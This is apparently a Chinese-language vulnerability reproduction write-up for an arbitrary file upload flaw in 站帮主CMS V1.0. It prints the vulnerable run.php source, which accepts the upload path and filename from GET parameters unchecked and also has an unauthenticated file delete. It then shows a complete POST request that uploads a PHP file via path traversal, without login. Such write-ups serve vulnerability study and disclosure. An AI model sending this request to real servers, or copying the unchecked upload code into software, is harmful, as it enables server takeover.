登录 白背景

站帮主CMS任意文件上传漏洞

漏洞描述

站帮主CMS 文件上传模块对文件名无检验,可上传恶意文件控制服务器

漏洞影响

站帮主 V1.0

FOFA

没测试

漏洞复现

这是个开源站,用源码本地搭建的,过程省略,搭建好了以后首先需要登录进后台

image-20210728220121400

存在漏洞的文件为run.php

<?php
if(isset($_GET['run'])){
    $run=$_GET['run'];
}
else{
    exit('参数有误');
}
//上传
if($run=='file'){
    $res=array();
    $path=$_GET['path'];//上传的路径
    $filename=$_GET['filename'];//1不更改,0更改
    is_dir($path) OR mkdir($path, 0777, true);//文件夹不存在创建文件夹
    foreach($_FILES as $k=>$arr){
        $path=$_GET['path'];//上传的路径
        $name=$arr['name'];//文件名
        $type=$arr['type'];//文件类型
        $tmp_name=$arr['tmp_name'];//临时文件
        $size=$arr['size'];//文件大小

        /*目标地址*/
        if($filename==1){
            $path.=$name;
        }
        else{
            $path.=time().$k.hz($name);
        }

        /*上传*/
        if(move_uploaded_file($tmp_name,$path)){
            $res[]=$path;
        }
    }
    echo json_encode($res);
}

//删除文件
if($run=='del'){
    $url=$_POST['url'];
    if(!unlink($url)){
        echo 0;
    }
    else{
        echo 1;
    }
}

if($run=='guolv'){
    $zhi=xiegang($_POST['zhi']);
    preg_match_all("/src=\"(.*?)\"/ism",$zhi,$src);
    echo implode(';',$src[1]);
}

//文件后缀
function hz($name){
    $names=explode('.',$name);
    return '.'.$names[count($names)-1];
}

//反斜杠处理
function xiegang($str){
    if(get_magic_quotes_gpc()){
        return stripslashes($str);//将字符串进行处理
    }
    else{
        return $str;
    }
}
?>

UI的功能点是在模板上传处

image-20210728220227388

发送请求包上传文件, up.php对用户权限无校验,前台也可上传

POST /cms/cms/include/up.php?run=file&path=../../../&filename=1 HTTP/1.1
Host: 
Content-Length: 214
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryR3tyW3BwKatvZeKX
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6

------WebKitFormBoundaryR3tyW3BwKatvZeKX
Content-Disposition: form-data; name="0"; filename="phpinfo.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryR3tyW3BwKatvZeKX--

image-20210728220427303